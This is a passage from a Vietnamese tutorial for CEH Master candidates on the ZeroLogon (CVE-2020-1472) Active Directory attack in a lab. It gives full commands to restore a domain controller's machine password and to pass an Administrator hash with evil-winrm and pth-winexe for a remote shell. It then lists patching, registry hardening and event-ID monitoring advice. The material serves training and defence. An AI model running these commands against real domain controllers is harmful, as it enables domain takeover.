Bước 4: Khôi phục Mật khẩu Gốc của Domain Controller

Đây là một bước cực kỳ quan trọng và không thể bỏ qua trong một kịch bản kiểm thử thâm nhập có trách nhiệm để tránh làm hỏng miền Active Directory.11 Script

restorepassword.py (hoặc một số script tương tự như reinstall_original_pw.py) từ kho lưu trữ của dirkjanm được thiết kế cho mục đích này.9

Bảng Đề xuất: Cú pháp và Ví dụ cho Khôi phục Mật khẩu (sử dụng restorepassword.py của dirkjanm)

| Tham số | Mô tả | Ví dụ (WIN-DC01 tại 192.168.77.10, miền CEHLAB) |

| ————————————— | ——————————————————————————————————- | —————————————————————————————————————————————————————————————————————- |

| <DOMAIN>/<DC_NAME>@<DC_NAME> | Thông tin định danh mục tiêu, thường là TEN_MIEN_NETBIOS/TEN_DC_NETBIOS@TEN_DC_NETBIOS | CEHLAB/WIN-DC01@WIN-DC01 |

| -target-ip <DC_IP_ADDRESS> | Địa chỉ IP của Domain Controller | 192.168.77.10 |

| -hexpass <HEX_ENCODED_ORIGINAL_PASS> | Mật khẩu gốc của tài khoản máy DC dưới dạng hex (giá trị plain_password_hex đã lấy từ secretsdump.py) | <GIÁ_TRỊ_HEX_LẤY_ĐƯỢC_Ở_BƯỚC_TRƯỚC> |

| Lệnh đầy đủ (restorepassword.py) | python3 restorepassword.py CEHLAB/WIN-DC01@WIN-DC01 -target-ip 192.168.77.10 -hexpass <GIÁ_TRỊ_HEX_LẤY_ĐƯỢC> (Chạy từ thư mục chứa script của dirkjanm) | |

Script này sẽ sử dụng mật khẩu NULL của tài khoản máy DC (mà nó đã bị reset trước đó) để xác thực, sau đó sử dụng phiên xác thực đó để đặt lại mật khẩu máy DC về giá trị gốc (dưới dạng hex).

Một phương án khác có thể được đề cập là sử dụng lệnh Reset-ComputerMachinePassword trong PowerShell trên chính DC hoặc từ một máy đã gia nhập miền có quyền phù hợp.12 Tuy nhiên, trong kịch bản tấn công ZeroLogon từ một máy tấn công bên ngoài (như Kali), việc sử dụng script Python là phổ biến và trực tiếp hơn.

(Tùy chọn) Bước 5: Truy cập Domain Controller với Quyền Quản trị

Sau khi đã có NTLM hash của tài khoản Administrator (hoặc một tài khoản quản trị miền khác) từ secretsdump.py, có thể sử dụng kỹ thuật Pass-the-Hash để giành quyền truy cập tương tác vào Domain Controller.

Bảng Đề xuất: Ví dụ Lệnh Pass-the-Hash

| Công cụ | Lệnh | Ghi chú |

| ————- | ————————————————————————————————————————————- | ————————————————————————————————————————————————————————————————————————————————————————— |

| evil-winrm | sudo evil-winrm -i 192.168.77.10 -u Administrator -H <ADMIN_NTLM_HASH> (Thay <ADMIN_NTLM_HASH> bằng NTLM hash thực tế của Administrator) | Cần NTLM hash của tài khoản Administrator. Cung cấp một shell WinRM tương tác trên DC. |

| pth-winexe | sudo pth-winexe -U CEHLAB/Administrator%<ADMIN_LM_HASH>:<ADMIN_NTLM_HASH> //192.168.77.10 cmd.exe (Thay bằng hash thực tế) | Cần cả LM hash và NTLM hash. LM hash thường là aad3b435b51404eeaad3b435b51404ee nếu mật khẩu phức tạp hoặc đã bị vô hiệu hóa lưu trữ LM hash. Cung cấp một shell cmd.exe. pth-winexe có thể cần cài đặt riêng (sudo apt install winexe). |

Thao tác này sẽ cho phép thực thi lệnh trên DC với quyền của tài khoản Administrator, hoàn tất quá trình chiếm quyền kiểm soát.

Toàn bộ quá trình khai thác ZeroLogon, đặc biệt là việc sử dụng các script Impacket, cho thấy sức mạnh và sự phổ biến của Python trong lĩnh vực an ninh tấn công. Việc phụ thuộc vào các phiên bản Impacket cụ thể hoặc phải cài đặt từ GitHub 9 cũng chỉ ra bản chất phát triển nhanh chóng của các công cụ khai thác và sự cần thiết của việc các chuyên gia kiểm thử thâm nhập phải quản lý chuỗi công cụ (toolchain) của mình một cách cẩn thận. Điều này không chỉ áp dụng cho ZeroLogon mà còn cho nhiều kỹ thuật tấn công dựa trên giao thức mạng khác, nơi Python và Impacket đóng vai trò trung tâm.10 Đối với các ứng viên CEH Master, thành thạo Python và hiểu biết về các thư viện như Impacket là một lợi thế đáng kể.

4. Khuyến cáo

Từ việc phân tích và thực hành lỗ hổng ZeroLogon, có thể rút ra nhiều khuyến cáo quan trọng cho cả quản trị viên hệ thống và các ứng viên CEH Master.

Dành cho Quản trị viên Hệ thống

Mục tiêu chính của quản trị viên hệ thống là bảo vệ cơ sở hạ tầng khỏi các mối đe dọa như ZeroLogon.

  • Vá lỗi Ngay lập tức (Immediate Patching):
  • Ưu tiên hàng đầu và biện pháp hiệu quả nhất là cài đặt ngay lập tức các bản vá bảo mật do Microsoft phát hành cho CVE-2020-1472. Các bản vá này đã có từ tháng 8 năm 2020.4 Đảm bảo rằng tất cả các Domain Controllers (DCs) và Read-Only Domain Controllers (RODCs) trong môi trường đều được cập nhật đầy đủ.
  • Cần lưu ý rằng Microsoft đã triển khai bản vá này theo nhiều giai đoạn, với giai đoạn thực thi đầy đủ (enforcement phase) bắt đầu từ ngày 9 tháng 2 năm 2021, tự động chặn các kết nối Netlogon không an toàn từ các thiết bị không tuân thủ.15
  • Bật Chế độ Thực thi (Enable Enforcement Mode):
  • Sau khi đã cài đặt bản vá, quản trị viên nên cấu hình khóa registry FullSecureChannelProtection thành giá trị 1 trên tất cả các DC. Điều này sẽ kích hoạt chế độ thực thi đầy đủ, yêu cầu tất cả các thiết bị (bao gồm cả các thiết bị không phải Windows) phải sử dụng kênh Netlogon an toàn khi giao tiếp với DC.15 Biện pháp này giúp ngăn chặn các kết nối dễ bị tấn công ngay cả từ các thiết bị chưa được vá hoặc của bên thứ ba không tuân thủ.
  • Giám sát Chủ động (Proactive Monitoring):
  • Theo dõi chặt chẽ các Windows Event Log trên các DC để phát hiện sớm các dấu hiệu tấn công hoặc các kết nối không an toàn. Các Event ID quan trọng cần chú ý bao gồm:
  • Event ID 4742: “A computer account was changed.” Đặc biệt nguy hiểm nếu trường “Security ID” là “ANONYMOUS LOGON” và “Account Name” là “ANONYMOUS LOGON”.7 Đây là một dấu hiệu rất mạnh mẽ của việc khai thác thành công ZeroLogon.
  • Event ID 4624: “An account was successfully logged on.” Tìm kiếm các đăng nhập đáng ngờ, đặc biệt là với Logon Type 3 (network logon) và Account Name là tài khoản máy của DC, nhưng Source Network Address lại là một địa chỉ IP khác không phải của chính DC đó.17
  • Event ID 5805: Xuất hiện khi một máy tính cố gắng thiết lập một kênh bảo mật nhưng mật khẩu máy không khớp (có thể xảy ra sau khi mật khẩu tài khoản máy DC bị reset bởi kẻ tấn công).17
  • Sau khi vá và trong giai đoạn thực thi: Event ID 5827, 5828, 5829 (ghi lại các kết nối Netlogon không an toàn bị từ chối) và Event ID 5830, 5831 (ghi lại các kết nối Netlogon không an toàn được cho phép do cấu hình ngoại lệ).15
  • Sử dụng các hệ thống Quản lý Thông tin và Sự kiện Bảo mật (SIEM) để tự động thu thập, phân tích log và tạo cảnh báo cho các sự kiện đáng ngờ này.
  • Một số nhà cung cấp giải pháp bảo mật như CrowdStrike và Cynet cũng đã phát triển các công cụ hoặc dashboard chuyên dụng để giúp phát hiện các dấu hiệu của ZeroLogon, bao gồm việc giám sát lưu lượng mạng bất thường đến tiến trình lsass.exe hoặc sử dụng các quy tắc YARA để quét bộ nhớ và hệ thống tệp.3
  • Thực thi Nguyên tắc Bảo mật Sâu rộng (Defense in Depth Principles):
  • Xác thực Đa yếu tố (MFA): Triển khai MFA cho tất cả các tài khoản, đặc biệt là tài khoản quản trị và các tài khoản có đặc quyền cao.4 Điều này tạo thêm một lớp bảo vệ quan trọng, giúp giảm thiểu tác động ngay cả khi thông tin đăng nhập (credentials) bị lộ.
  • Phân đoạn Mạng (Network Segmentation): Hạn chế tối đa quyền truy cập mạng vào các Domain Controller. Chỉ cho phép các máy chủ và dịch vụ thực sự cần thiết được giao tiếp với DC qua các cổng dịch vụ cụ thể. Quan trọng là phải chặn mọi truy cập công khai từ Internet vào các cổng nhạy cảm như 445 (SMB) và 135 (RPC) trên các DC.25
  • Nguyên tắc Đặc quyền Tối thiểu (Least Privilege): Đảm bảo rằng người dùng và các tài khoản dịch vụ chỉ được cấp những quyền hạn tối thiểu cần thiết để thực hiện nhiệm vụ của họ. Tránh sử dụng các tài khoản có quyền quản trị miền cho các tác vụ hàng ngày.
  • Quét Lỗ hổng Thường xuyên (Regular Vulnerability Scanning): Chủ động và thường xuyên quét toàn bộ hệ thống để xác định các máy chủ chưa được vá lỗi, các cấu hình sai hoặc các điểm yếu tiềm ẩn khác.
  • Bảo vệ Endpoint và Network (Endpoint and Network Protection): Triển khai và duy trì các giải pháp bảo vệ điểm cuối (EDR), phát hiện và phản hồi mở rộng (XDR), và hệ thống ngăn chặn xâm nhập (IPS) để phát hiện và ngăn chặn các hoạt động độc hại trong thời gian thực.1
  • Sao lưu và Khôi phục (Backup and Recovery): Thiết lập và kiểm tra thường xuyên quy trình sao lưu toàn bộ hệ thống Active Directory. Đảm bảo có các bản sao lưu sạch và kế hoạch khôi phục chi tiết trong trường hợp xảy ra sự cố xâm phạm nghiêm trọng. Nếu có bằng chứng cho thấy AD forest đã bị xâm phạm hoàn toàn, CISA (Cybersecurity and Infrastructure Security Agency) khuyến nghị nên xây dựng một forest mới hoàn toàn thay vì cố gắng làm sạch forest hiện tại.25

Dành cho Thí sinh CEH Master

Đối với những người đang chuẩn bị cho kỳ thi CEH Master, việc nắm vững ZeroLogon mang lại nhiều lợi ích và bài học.

  • Hiểu sâu sắc “Tại sao” (Deep Understanding of “Why”):
  • Không chỉ dừng lại ở việc học thuộc lòng các câu lệnh. Điều quan trọng là phải tập trung hiểu rõ nguyên nhân gốc rễ của lỗ hổng (ví dụ: IV cố định trong AES-CFB8, logic xác thực trong MS-NRPC) và tại sao mỗi bước trong quy trình khai thác lại hoạt động và có hiệu quả.1
  • Kỳ thi CEH Master được thiết kế để kiểm tra khả năng tư duy phân tích, giải quyết vấn đề và ứng biến của thí sinh, chứ không chỉ đơn thuần là khả năng thực thi các script có sẵn.5
  • Thực hành, Thực hành, Thực hành (Hands-on Practice):
  • Tái tạo lại môi trường lab ZeroLogon như đã hướng dẫn và thực hành nhiều lần. Thử nghiệm với các biến thể khác nhau nếu có thể (ví dụ: các phiên bản Windows Server khác nhau, các công cụ khác nhau cho cùng một mục đích).
  • Kỳ thi CEH Master là 100% thực hành.5 Sự quen thuộc với các công cụ, kỹ thuật và quy trình thông qua thực hành lặp đi lặp lại là chìa khóa để thành công.
  • Phòng lab “Zero Logon” trên nền tảng TryHackMe được đánh giá ở mức độ “khó” 13, điều này cho thấy mức độ phức tạp và giá trị thực hành cao của nó trong việc rèn luyện kỹ năng.
  • Thành thạo Công cụ (Tool Proficiency):
  • Nắm vững việc sử dụng bộ công cụ Impacket, đặc biệt là các script như secretsdump.py, psexec.py, smbclient.py, ntlmrelayx.py, vì chúng rất hữu ích trong nhiều kịch bản tấn công Windows.10
  • Làm quen với các công cụ post-exploitation khác như Mimikatz (mặc dù ZeroLogon có thể không cần Mimikatz trực tiếp để khai thác ban đầu, nhưng việc hiểu cách Mimikatz hoạt động trong việc trích xuất credentials là rất quan trọng).4
  • Thực hành sử dụng các shell tương tác như evil-winrm để điều khiển máy chủ từ xa sau khi đã có hash.
  • Khả năng Thích ứng (Adaptability):
  • Môi trường thi CEH Master có thể không giống hệt như môi trường lab mà thí sinh đã tự dựng. Hãy chuẩn bị tinh thần để điều chỉnh câu lệnh, gỡ lỗi và ứng biến dựa trên tình huống thực tế được đưa ra trong bài thi.
  • Ví dụ, tên Domain Controller, tên miền, địa chỉ IP chắc chắn sẽ khác. Cấu trúc mạng và các biện pháp phòng thủ có thể cũng khác biệt.
  • Quản lý Thời gian (Time Management):
  • Kỳ thi CEH Master có giới hạn thời gian nghiêm ngặt (thường là 6 giờ cho khoảng 20 thử thách khác nhau).5 Việc thực hành nhiều sẽ giúp tăng tốc độ làm bài và nâng cao hiệu quả. Quan trọng là phải biết khi nào nên chuyển sang một thử thách khác nếu bị mắc kẹt quá lâu ở một điểm.
  • Đạo đức Nghề nghiệp (Ethical Considerations):
  • Luôn ghi nhớ rằng các kỹ thuật tấn công này được học và thực hành với mục đích phòng thủ, kiểm thử thâm nhập hợp pháp và nâng cao kiến thức bảo mật.
  • Trong kỳ thi và cả trong công việc thực tế, việc “dọn dẹp” sau khi thực hiện tấn công (ví dụ như khôi phục mật khẩu gốc của DC trong trường hợp ZeroLogon) là một hành động rất quan trọng, thể hiện tính chuyên nghiệp và trách nhiệm.9

Các khuyến nghị dành cho quản trị viên hệ thống (vá lỗi, giám sát, phòng thủ theo chiều sâu) và cho các ứng viên CEH Master (hiểu sâu, thực hành, thích ứng) đều xoay quanh một chủ đề trung tâm: bảo mật chủ động và học hỏi liên tục.5 Lỗ hổng ZeroLogon đóng vai trò như một nghiên cứu điển hình mạnh mẽ, minh họa tại sao những thực hành này là không thể thiếu trong bối cảnh an ninh mạng hiện đại. Các cảnh báo và chỉ thị khẩn cấp từ các tổ chức như CISA 25 đối với các lỗ hổng như ZeroLogon càng nhấn mạnh tính cấp bách trong thế giới thực mà các chuyên gia CEH Master phải chuẩn bị để đối mặt. Bối cảnh an ninh mạng là một cuộc rượt đuổi không ngừng; do đó, một hệ thống phòng thủ tĩnh hoặc nỗ lực học tập một lần là không đủ. Sự cảnh giác, cập nhật, học hỏi và thực hành liên tục là điều cần thiết cho cả người phòng thủ và người tấn công (ethical hacker). Chứng chỉ CEH Master được thiết kế để xác nhận chính tư duy học hỏi liên tục và khả năng ứng dụng thực tế này.5 Việc thành thạo một kỹ thuật khai thác phức tạp như ZeroLogon không chỉ là về một CVE cụ thể; đó là về việc phát triển phương pháp luận và tư duy phản biện để giải quyết các lỗ hổng chưa biết trong tương lai.

Bình luận về bài viết này

Thịnh hành